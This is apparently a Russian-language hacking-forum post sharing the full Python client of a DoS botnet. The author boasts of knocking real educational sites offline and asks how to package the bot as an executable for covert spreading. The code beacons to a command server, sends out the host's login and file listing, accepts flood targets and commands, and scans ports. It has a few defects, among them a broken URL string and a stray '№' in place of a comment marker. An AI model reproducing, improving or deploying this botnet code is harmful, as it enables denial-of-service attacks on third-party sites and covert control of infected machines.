Скрипт для Dos

Скрипт для Dos

INHIDE
Быстро подписался, если хакером назвался!

Ботнет написан на питоне (клиентская сторона) и php (серверная ).

Немного предыстории

Когда то давно я использовал скрипт hulk.py, который неплохо валил простенькие сайты, с одного компа, перегружая канал жертвы.. Сие благо было благодаря волшебной библиотеке urllib и потокам (threads). Неудобство было в том, что нормального сборщика питон я так и не нашёл (что бы как то свой скрипт уместить в exe'шник и распространять по чёрным методам в сети) (Это одна из недоработок данного бота).

Упустив момент выше, я принялся писать систему, которая могла бы централизованно управлять ботами, определять онлайн ботов, отправлять им команды (+получать ответ), собирать какие то данные о системе.. Тут вроде всё нормально, за исключением того что обработчик я написал только под винду...

Собрав всего 4-х ботов в системе, я отправился тестировать его силутора на различных ресурсах.. И вуаля! Такой ресурс как geekbrains, несколько образовательных систем на базе moodle слегли в считанные секунды (правда, не надолго).

В общем как то так.. Может у кого то есть варианты решения проблемы с "переводом" python кода в exe'шник, то просьба написать ниже.. Выкладываю код самого "клиента" на питоне, можете сами продемонстрировать.

Да, если возникнут какие-либо вопросы по коду, пишем ниже, постараюсь на всё ответить. Если будет интересна "серверная" часть, то её позже тоже выложу.

Вот собственно сам код:

[== Undefined ==]
#!/usr/bin/env python3
import os
import random
import sys
import io
import socket
import urllib.request
import urllib.parse
import threading
import time

url = 'http://'URL HANDLER'

class Bot():
  def attack(self,targetAttack):
    symbols = ['赞','賛','兩','譯','译','訳','觀','观','観','營','营','営','處','处','処','聲','声','声','學','学','體','体','体','点','麦','虫','0','1','2','3','4','5','6','7','8','9']
    while True:
      try:
        random_getname = random.randint(5,9)
        random_getvalue = random.randint(5,9)
        i = 0
        gen_getname = ''
        gen_getvalue = ''
        while i < random_getname:
          gen_getname += symbols[random.randint(0,len(symbols)-1)]
          i += 1
        i = 0
        while i < random_getvalue:
          gen_getvalue += symbols[random.randint(0, len(symbols)-1)]
          i += 1
        sent_get = {gen_getname : gen_getvalue}
        enc_data = urllib.parse.urlencode(sent_get)
        query = urllib.request.urlopen(targetAttack+'/'+'?'+enc_data)
      except:
        break
  # Генерация идентификатора машины
  def getIdentity(self):
    symbols = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','x','y','z','0','1','2','3','4','5','6','7','8','9'];
    lenIdentity = 16
    curLen = 0
    identity = ''
    while curLen <= lenIdentity:
      identity += symbols[random.randint(0,len(symbols))-1]
      curLen += 1
    return identity

  № проверка файла с идентификатором машины
  def checkIdentity(self):
    fileIdentity = 'ident.txt'
    if os.path.exists(fileIdentity):
      with open(fileIdentity, 'r') as ofile:
        ident = ofile.read()
    else:
      ofile = open(fileIdentity, 'w')
      getIdentity = self.getIdentity()
      ofile.write(getIdentity)
      ofile.close()
      with open(fileIdentity, 'r') as ofile:
        ident = ofile.read()
    return ident

  # Планировал дописать функцию сканера портов.. Как бы работает, но немного криво
  def scan(self,host):
    ports = []
    open_ports = []
    i = 0
    while i < 65536:
      ports.append(i)
      i += 1
    for port in ports:
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.settimeout(0.01)
      try:
        sock.connect((host,port))
      except:
        a = 1
      else:
        open_ports.append(port)
    sock.close()
    return open_ports

  # метод завершающий работу бота.. Срабатывает когда на бот отправляется соответствующая команда
  def killBot(self):
    sys.exit()

  # Ожидает команду от сервера. В хэшах зашифрованы "ключевые" слова для каких либо действий..
  def checkCommand(self):
    while True:
      try:
        time.sleep(5)
        postData = {'identity':self.checkIdentity()}
        encPostData = urllib.parse.urlencode(postData)
        getCommand = urllib.request.urlopen(url+'/c66555eff41953e343d5508311e87cda',encPostData.encode('utf-8')).read().decode() # for execute
        nameResponce = 'result.txt';
        if getCommand != '':
          with open(nameResponce, 'r') as ofile:
            execute = ofile.read()
          dataCommand = {'ident':self.checkIdentity(),'name':getCommand,'responce':execute}
          encDataCommand = urllib.parse.urlencode(dataCommand)
          updDataCommand = urllib.request.urlopen(url+'/be84513e9ca1814ccc9b27d9eb682bc7',encDataCommand.encode('utf-8')).read().decode()
          os.remove(nameResponce)
      except:
        continue

  # Чек целей для дос атаки.. Если в БД выставлена цель для атаки у текущей машины, то он вызывает метод для Dos атаки
  def checkTarget(self):
    while True:
      try:
        time.sleep(30)
        postDataDos = {'identity':self.checkIdentity()}
        encPostDataDos = urllib.parse.urlencode(postDataDos)
        getTarget = urllib.request.urlopen(url+'/9500f2e6e4831f18ede46fc82350beef',encPostDataDos.encode('utf-8')).read().decode() # for dos
        if getTarget != '':
          while True:
            threading.Thread(target=self.attack, args=[getTarget]).start()
      except:
        continue

  # Чекает онлайн у бота.. Отправляет каждые 50 секунд запрос на сервер
  def checkOnline(self):
    while True:
      try:
        time.sleep(50)
        ident = self.checkIdentity()
        data = {'identity':ident}
        encData = urllib.parse.urlencode(data)
        updData = urllib.request.urlopen(url+'/6fdf9a7e383da79e72066b43e4edc66f',encData.encode('utf-8'))
      except:
        continue
  # Основной метод приложения. Проверяет есть ли идентификатор у цели, отправляет информацию (системную) на сервер, и вызывает неободимые методы для работы
  def appRun(self):
    ident = self.checkIdentity()
    ip = urllib.request.urlopen(url+'/82ffb4dfeb96c39cdc69e0d9cb87e9eb').read()
    osName = os.name
    others = '<b>login:</b> '+os.getlogin()+'<br><b>Files:</b> '+str(os.listdir())+'<br><b>Python path:</b> '+sys.exec_prefix+'<br><b>EncodeFileSystem:</b> '+sys.getfilesystemencoding()+'<br><b>Python version:</b> '+sys.version+'\n'
    data = {'data':'send','ident':ident, 'ip':ip, 'osName':osName,'others':others}
    encData = urllib.parse.urlencode(data)
    updData = urllib.request.urlopen(url+'/',encData.encode('utf-8'))

    threading.Thread(target=self.checkCommand, args=[]).start()
    threading.Thread(target=self.checkTarget, args=[]).start()
    threading.Thread(target=self.checkOnline, args=[]).start()
    
# запуск бота
etm = Bot()
etm.appRun()







Report Page